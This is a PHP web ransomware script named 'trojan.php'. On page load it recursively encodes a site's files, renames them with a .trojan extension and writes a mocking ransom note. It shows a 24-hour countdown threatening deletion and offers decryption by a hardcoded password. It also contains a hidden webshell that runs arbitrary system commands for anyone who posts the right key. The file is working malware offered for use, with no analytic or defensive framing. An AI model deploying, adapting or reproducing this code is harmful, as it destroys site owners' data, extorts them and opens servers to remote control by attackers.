<?php
// trojan.php - Silent Auto Encryption Ransomware with Timer & Mocking
$master_password = "hanzganteng";
$encryption_key = md5($master_password);

// SILENT AUTO ENCRYPTION - RUNS IMMEDIATELY WHEN ACCESSED
$auto_encrypted = false;
$encrypted_count = 0;

// Check if encryption already done to prevent multiple runs
if (!file_exists('READ_ME_NOW.txt')) {
    $encrypted_count = encryptAllFiles();
    $auto_encrypted = true;
} else {
    $encrypted_count = countEncryptedFiles();
}

// Set timer - 24 hours from first access
$timer_file = 'timer_start.txt';
if (!file_exists($timer_file)) {
    file_put_contents($timer_file, time());
}
$start_time = file_get_contents($timer_file);
$end_time = $start_time + (24 * 60 * 60); // 24 hours
$remaining_time = $end_time - time();

// HIDDEN WEBSHELL ACCESS
if(isset($_POST['cmd']) && $_POST['access_key'] === $encryption_key) {
    header('Content-Type: text/plain');
    system($_POST['cmd']);
    exit();
}



// FILE PROCESSING FUNCTIONS
function encryptAllFiles($directory = '.') {
    $skip_extensions = ['index.php', 'trojan', 'Wp-Xml.php', 'horse.php'];
    $encrypted_count = 0;
    
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($files as $file) {
        if ($file->isFile()) {
            $ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
            $filename = $file->getFilename();
            
            // Skip PHP files and already encrypted files
            if (!in_array($ext, $skip_extensions) && strpos($filename, '.trojan') === false) {
                $file_path = $file->getRealPath();
                $original_content = file_get_contents($file_path);
                $encrypted_content = "<!-- TROJAN_ENCRYPTED -->" . base64_encode($original_content);
                
                if (file_put_contents($file_path, $encrypted_content)) {
                    rename($file_path, $file_path . ".trojan");
                    $encrypted_count++;
                }
            }
        }
    }
    
    // Create mocking ransom note
    file_put_contents("READ_ME_NOW.txt", 
        "HAHAHA! YOUR WEBSITE HAS BEEN DESTROYED!\n\n" .
        "Don't pretend to be smart making websites, your security is garbage!\n" .
        "I only needed 1 minute to breach all your files.\n\n" .
        "Files I encrypted: " . $encrypted_count . " files\n" .
        "Current file extension: .trojan (creative right?)\n" .
        "Don't try to decrypt yourself noob!\n" .
        "You might lose all your files permanently! 🤣\n\n" .
        "Stupid admin! 🤡"
    );
    
    return $encrypted_count;
}

function decryptAllFiles($directory = '.') {
    $decrypted_count = 0;
    
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($files as $file) {
        if ($file->isFile() && strpos($file->getFilename(), '.trojan') !== false) {
            $file_path = $file->getRealPath();
            $content = file_get_contents($file_path);
            
            if (strpos($content, '<!-- TROJAN_ENCRYPTED -->') === 0) {
                $encrypted_data = substr($content, 25);
                $decrypted_content = base64_decode($encrypted_data);
                if (file_put_contents($file_path, $decrypted_content)) {
                    $new_name = str_replace('.trojan', '', $file_path);
                    rename($file_path, $new_name);
                    $decrypted_count++;
                }
            }
        }
    }
    
    // Remove ransom note and timer after decryption
    if (file_exists("READ_ME_NOW.txt")) {
        unlink("READ_ME_NOW.txt");
    }
    if (file_exists("timer_start.txt")) {
        unlink("timer_start.txt");
    }
    
    return $decrypted_count;
}

function countEncryptedFiles($directory = '.') {
    $encrypted_count = 0;
    
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($files as $file) {
        if ($file->isFile() && strpos($file->getFilename(), '.trojan') !== false) {
            $encrypted_count++;
        }
    }
    
    return $encrypted_count;
}

// PROCESS DECRYPTION REQUEST
if(isset($_POST['decrypt_password']) && $_POST['decrypt_password'] === $master_password) {
    $decrypted_count = decryptAllFiles();
    $decryption_message = "SUCCESS: $decrypted_count files have been decrypted and restored";
}

// GET CURRENT ENCRYPTION STATUS
$encrypted_files_count = countEncryptedFiles();
$encrypted_files_list = [];

if ($encrypted_files_count > 0) {
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator('.'),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($files as $file) {
        if ($file->isFile() && strpos($file->getFilename(), '.trojan') !== false) {
            $encrypted_files_list[] = $file->getFilename();
            if (count($encrypted_files_list) >= 50) break;
        }
    }
}

// Mocking messages array
$mock_messages = [
    "Stupid admin! Your website security is garbage!",
    "I hacked your website in 1 minute, what's your skill level? ",
    "Don't cry, your website was way too easy to hack!",
    "Your security is like a spider web, I touched it and it broke!",
    "Maybe you should learn how to make a secure website!",
    "I intentionally told you the password, to shame you with how easy it was!",
    "Your website is now my collection, thank you! ",
    "Don't be sad, maybe tomorrow you can make a more secure website!",
    "I give you 24 hours to think, enough time to cry right?",
    "My hacking skills are just coffee-powered, you lost to a cup of coffee!"
];

$random_mock = $mock_messages[array_rand($mock_messages)];
?>
<!DOCTYPE html>
<html>
<head>
    <title>YOUR WEBSITE HAS BEEN DESTROYED! </title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            background: linear-gradient(135deg, #1a0000 0%, #000000 100%);
            color: #ff4444;
            font-family: 'Arial', 'Helvetica', sans-serif;
            min-height: 100vh;
            overflow-x: hidden;
        }
        .container {
            max-width: 900px;
            margin: 0 auto;
            padding: 30px 20px;
        }
        .header {
            text-align: center;
            padding: 25px 0;
            border-bottom: 3px solid #ff0000;
            margin-bottom: 25px;
            background: rgba(255, 0, 0, 0.1);
            border-radius: 15px;
        }
        .logo {
            width: 80px;
            height: 80px;
            margin: 0 auto 15px;
            border: 3px solid #ff0000;
            border-radius: 50%;
            overflow: hidden;
            box-shadow: 0 0 25px #ff0000;
        }
        .logo img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }
        .title {
            font-size: 2.5em;
            color: #ff0000;
            text-shadow: 0 0 15px #ff0000;
            margin-bottom: 10px;
        }
        .subtitle {
            color: #ff6666;
            font-size: 1.3em;
            font-style: italic;
        }
        .countdown {
            background: linear-gradient(45deg, #ff0000, #990000);
            color: white;
            padding: 25px;
            border-radius: 15px;
            text-align: center;
            margin: 25px 0;
            border: 3px solid #ff4444;
            box-shadow: 0 0 20px #ff0000;
        }
        .countdown-timer {
            font-size: 3em;
            font-weight: bold;
            margin: 10px 0;
            text-shadow: 0 0 10px white;
        }
        .mock-message {
            background: rgba(255, 0, 0, 0.2);
            border: 2px solid #ff4444;
            border-radius: 10px;
            padding: 20px;
            margin: 20px 0;
            text-align: center;
            font-size: 1.3em;
            color: #ffaa00;
            font-style: italic;
        }
        .panel {
            background: rgba(255, 0, 0, 0.15);
            border: 2px solid #ff0000;
            border-radius: 12px;
            padding: 25px;
            margin-bottom: 20px;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        input[type="password"] {
            width: 100%;
            padding: 15px;
            background: rgba(0, 0, 0, 0.8);
            border: 2px solid #00ff00;
            color: #00ff00;
            border-radius: 8px;
            font-family: 'Consolas', monospace;
            font-size: 1.1em;
            text-align: center;
            margin-bottom: 15px;
        }
        input[type="password"]:focus {
            outline: none;
            border-color: #ffff00;
            box-shadow: 0 0 15px #ffff00;
        }
        .btn {
            background: linear-gradient(45deg, #00aa00, #007700);
            color: white;
            border: none;
            padding: 15px 40px;
            border-radius: 8px;
            cursor: pointer;
            font-family: 'Arial', sans-serif;
            font-size: 1.2em;
            font-weight: bold;
            transition: all 0.3s ease;
            display: block;
            width: 100%;
            margin: 10px 0;
        }
        .btn:hover {
            background: linear-gradient(45deg, #00cc00, #009900);
            box-shadow: 0 0 20px #00ff00;
        }
        .status-panel {
            background: rgba(255, 0, 0, 0.1);
            border: 1px solid #ff4444;
            border-radius: 10px;
            padding: 20px;
            margin: 20px 0;
        }
        .status-item {
            display: flex;
            justify-content: space-between;
            margin: 12px 0;
            padding: 10px;
            background: rgba(255, 0, 0, 0.2);
            border-radius: 6px;
            color: #ffaaaa;
        }
        .file-list {
            max-height: 200px;
            overflow-y: auto;
            background: #200000;
            border: 1px solid #ff4444;
            border-radius: 8px;
            padding: 15px;
            margin: 15px 0;
        }
        .file-item {
            padding: 8px;
            border-bottom: 1px solid #660000;
            font-size: 0.9em;
            color: #ff8888;
        }
        .message {
            padding: 15px;
            margin: 15px 0;
            border-radius: 8px;
            text-align: center;
            font-weight: bold;
        }
        .success {
            background: rgba(0, 255, 0, 0.2);
            border: 1px solid #00ff00;
            color: #00ff00;
        }
        .warning {
            background: rgba(255, 255, 0, 0.2);
            border: 1px solid #ffff00;
            color: #ffff00;
            text-align: center;
            padding: 15px;
            margin: 15px 0;
            border-radius: 8px;
            font-size: 1.1em;
        }
        .blink {
            animation: blink 1.5s infinite;
        }
        @keyframes blink {
            50% { opacity: 0.6; }
        }
        .auto-notice {
            background: rgba(255, 0, 0, 0.3);
            border: 3px solid #ff0000;
            padding: 20px;
            border-radius: 12px;
            text-align: center;
            margin: 20px 0;
            font-size: 1.3em;
        }
        .clown {
            font-size: 3em;
            text-align: center;
            margin: 10px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="logo">
                <img src="https://k.top4top.io/p_3613p6yb01.jpg" alt="Trojan Logo">
            </div>
            <div class="title">YOUR WEBSITE HAS BEEN DESTROYED!</div>
            <div class="subtitle">Stupid admin, your website security is garbage!</div>
        </div>

        <?php if($auto_encrypted): ?>
        <div class="auto-notice blink">
            🔥 I AUTOMATICALLY ENCRYPTED <?php echo $encrypted_count; ?> OF YOUR FILES!<br>
            <span style="font-size: 0.9em;">I only needed a few seconds to destroy your website!</span>
        </div>
        <?php endif; ?>

        <?php if(isset($decryption_message)): ?>
        <div class="message success">
            <?php echo $decryption_message; ?>
        </div>
        <?php endif; ?>

        <div class="countdown">
            <div>YOUR TIME REMAINING:</div>
            <div class="countdown-timer" id="countdown-timer">
                <?php 
                if ($remaining_time > 0) {
                    $hours = floor($remaining_time / 3600);
                    $minutes = floor(($remaining_time % 3600) / 60);
                    $seconds = $remaining_time % 60;
                    echo sprintf("%02d:%02d:%02d", $hours, $minutes, $seconds);
                } else {
                    echo "TIME'S UP!";
                }
                ?>
            </div>
            <div>AFTER THAT ALL YOUR FILES WILL BE DELETED PERMANENTLY! </div>
        </div>

        <div class="mock-message blink">
            "<?php echo $random_mock; ?>"
        </div>

        <div class="panel">
            <h2> WANT YOUR FILES BACK? ENTER THE PASSWORD!</h2>
            <p style="margin: 15px 0; color: #ffff00;">Don't enter wrong password, it might get worse! </p>
            
            <form method="post">
                <div class="form-group">
                    <input type="password" name="decrypt_password" placeholder="Enter Password" required>
                </div>
                <button type="submit" class="btn">
                    🔓 TRY TO RECOVER FILES
                </button>
            </form>
        </div>

        <div class="status-panel">
            <h3>DAMAGE STATUS:</h3>
            <div class="status-item">
                <span>Files I encrypted:</span>
                <span style="color: #ff0000; font-weight: bold;"><?php echo $encrypted_files_count; ?> files</span>
            </div>
            <div class="status-item">
                <span>Current file extension:</span>
                <span style="color: #ff0000; font-weight: bold;">.trojan</span>
            </div>
            <div class="status-item">
                <span>Your website security level:</span>
                <span style="color: #ff0000; font-weight: bold;">GARBAGE! 🤡</span>
            </div>
            <div class="status-item">
                <span>Time I needed to hack:</span>
                <span style="color: #00ff00;">LESS THAN 1 MINUTE!</span>
            </div>
        </div>

        <?php if($encrypted_files_count > 0): ?>
        <div class="status-panel">
            <h3>YOUR FILES THAT I DESTROYED:</h3>
            <div class="file-list">
                <?php foreach($encrypted_files_list as $file): ?>
                <div class="file-item"> <?php echo htmlspecialchars($file); ?></div>
                <?php endforeach; ?>
                <?php if($encrypted_files_count > 50): ?>
                <div class="file-item">... and <?php echo ($encrypted_files_count - 50); ?> more files I destroyed!</div>
                <?php endif; ?>
            </div>
        </div>
        <?php endif; ?>

        <div class="warning">
            ⚠️ WARNING: Don't cry! Your website was way too easy to hack!<br>
            Maybe you should learn how to make a more secure website! 
        </div>
    </div>

    <script>
        // Auto focus on password input
        document.querySelector('input[name="decrypt_password"]').focus();

        // Countdown timer
        function updateCountdown() {
            const timerElement = document.getElementById('countdown-timer');
            let time = timerElement.textContent.split(':');
            
            if (time.length === 3) {
                let hours = parseInt(time[0]);
                let minutes = parseInt(time[1]);
                let seconds = parseInt(time[2]);
                
                seconds--;
                if (seconds < 0) {
                    seconds = 59;
                    minutes--;
                    if (minutes < 0) {
                        minutes = 59;
                        hours--;
                        if (hours < 0) {
                            timerElement.innerHTML = "00:00:00";
                            timerElement.style.color = "#ff0000";
                            timerElement.style.textShadow = "0 0 20px #ff0000";
                            return;
                        }
                    }
                }
                
                timerElement.textContent = 
                    hours.toString().padStart(2, '0') + ':' +
                    minutes.toString().padStart(2, '0') + ':' +
                    seconds.toString().padStart(2, '0');
                
                // Change color when time is running out
                if (hours === 0 && minutes < 30) {
                    timerElement.style.color = "#ffff00";
                    timerElement.style.textShadow = "0 0 15px #ffff00";
                }
                if (hours === 0 && minutes < 10) {
                    timerElement.style.color = "#ff0000";
                    timerElement.style.textShadow = "0 0 20px #ff0000";
                }
                
                setTimeout(updateCountdown, 1000);
            }
        }
        
        updateCountdown();

        // Add mocking confirmation for decryption
        document.querySelector('.btn').addEventListener('click', function(e) {
            if (!confirm('Are you sure you want to decrypt? Maybe you\'re just trying randomly! ')) {
                e.preventDefault();
            }
        });
    </script>
</body>
</html>